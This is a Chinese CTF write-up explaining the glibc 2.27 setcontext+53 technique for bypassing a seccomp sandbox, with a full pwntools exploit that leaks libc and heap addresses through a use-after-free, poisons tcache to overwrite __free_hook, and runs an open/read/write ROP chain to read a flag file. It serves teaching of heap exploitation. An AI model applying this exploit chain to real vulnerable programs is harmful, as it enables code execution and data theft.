orw_heap

又是查缺补漏的一篇文章,由于之前学堆在学习完了一些基础的知识之后直接去看house of banana了,这里不得不感慨banana的强大,其实很多堆题都是可以利用banana的利用链去做的(包括orw)所以就没有仔细的学习setcontext的利用手法,只是大概知道有这么个东西。但是培训的时候客户有问这个也就仔细去学习了一下(感谢on3师傅的帮助)

setcontext介绍

主要是利用setcontext+53的这段gadget,通过控制rsp来控制程序的返回地址,即通过控制rdi+0xa0处的地址来控制rsp

image-20231024193237139

2.27利用方法

将free_hook修改为setcontext,并在堆块上布置orw链,以及堆块地址+0xa0处写上orw的地址,+0xa8处写上ret的地址,即可执行orw

例题

链接:https://pan.baidu.com/s/1Pnl09FAe6OofcRl5GicoOA?pwd=p87w

简单的分析一下题目,可以看到题目开了沙箱

image-20231024194007909

image-20231024194033136

并且程序本身有uaf

image-20231024194107350

因此确定利用思路为先泄露libc然后将free_hook修改为setcontext并在堆块上布置好orw链

先泄露libc并计算出需要用到的一些gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(0x410,b'AAAA')#0
add(0x10,b'AAAA')#1
delete(0)
show(0)
libcbase=uu64()-0x3ebca0
lg("libcbase")
malloc_hook=libcbase+libc.sym['__malloc_hook']
free_hook=libcbase+libc.sym['__free_hook']
setcontext=libcbase+libc.sym['setcontext']+53
pop_rdi=0x000000000002164f+libcbase
pop_rsi=0x0000000000023a6a+libcbase
pop_rdx=0x0000000000001b96+libcbase
ret=libcbase+0x00000000000008aa

open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']

泄露堆地址并修改free_hook为setcontext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(0x410,b'AAAA')#2

add(0x60,b'AAAA')#3
add(0x70,b'AAAA')#4
add(0x70,b'AAAA')#5

delete(3)
delete(4)
delete(5)

show(5)
heapbase=uheap()-0x710
lg("heapbase")

edit(3,p64(free_hook))
add(0x60,b'AAAA')#6
add(0x60,p64(setcontext))#7

布置orw链,并通过free对应的堆块使得rdi指向堆上的地址从而控制程序执行orw

1
2
3
4
5
6
7
8
9
10
11
12
13
heap=heapbase+0x260
flag_addr=heap+0x300
orw_addr=heap+0xb0
orw=p64(pop_rdi)+p64(heap)+p64(pop_rsi)+p64(0)+p64(open)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x50)+p64(read)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x50)+p64(write)
payload=b'./flag\x00'.ljust(0xa0,b'\x00')
payload+=p64(orw_addr)+p64(ret)+orw

edit(2,payload)
delete(2)

ia()

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
from ctypes import *
from struct import pack
banary = "./orw_h1"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("/home/youlin/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6")
ip = ''
port = 0
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

def cmd(choice):
ru(">> ")
sl(str(choice))

def add(size,content):
cmd(1)
ru("Length of game description:")
sl(str(size))
ru("Game description:")
s(content)

def delete(index):
cmd(2)
ru("game index: ")
sl(str(index))

def edit(index,content):
cmd(3)
ru("game index: ")
sl(str(index))
ru("Edit Game description:")
s(content)

def show(index):
cmd(4)
ru("game index: ")
sl(str(index))

add(0x410,b'AAAA')#0
add(0x10,b'AAAA')#1
delete(0)
show(0)
libcbase=uu64()-0x3ebca0
lg("libcbase")
malloc_hook=libcbase+libc.sym['__malloc_hook']
free_hook=libcbase+libc.sym['__free_hook']
setcontext=libcbase+libc.sym['setcontext']+53
pop_rdi=0x000000000002164f+libcbase
pop_rsi=0x0000000000023a6a+libcbase
pop_rdx=0x0000000000001b96+libcbase
ret=libcbase+0x00000000000008aa

open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']


add(0x410,b'AAAA')#2

add(0x60,b'AAAA')#3
add(0x70,b'AAAA')#4
add(0x70,b'AAAA')#5

delete(3)
delete(4)
delete(5)

show(5)
heapbase=uheap()-0x710
lg("heapbase")

edit(3,p64(free_hook))
add(0x60,b'AAAA')#6
add(0x60,p64(setcontext))#7

heap=heapbase+0x260
flag_addr=heap+0x300
orw_addr=heap+0xb0
orw=p64(pop_rdi)+p64(heap)+p64(pop_rsi)+p64(0)+p64(open)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x50)+p64(read)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x50)+p64(write)
payload=b'./flag\x00'.ljust(0xa0,b'\x00')
payload+=p64(orw_addr)+p64(ret)+orw

edit(2,payload)
delete(2)

ia()

orw_heap
http://blogyoulin.top/2023/10/24/orw-heap/
Author
John Doe
Posted on
October 24, 2023
Licensed under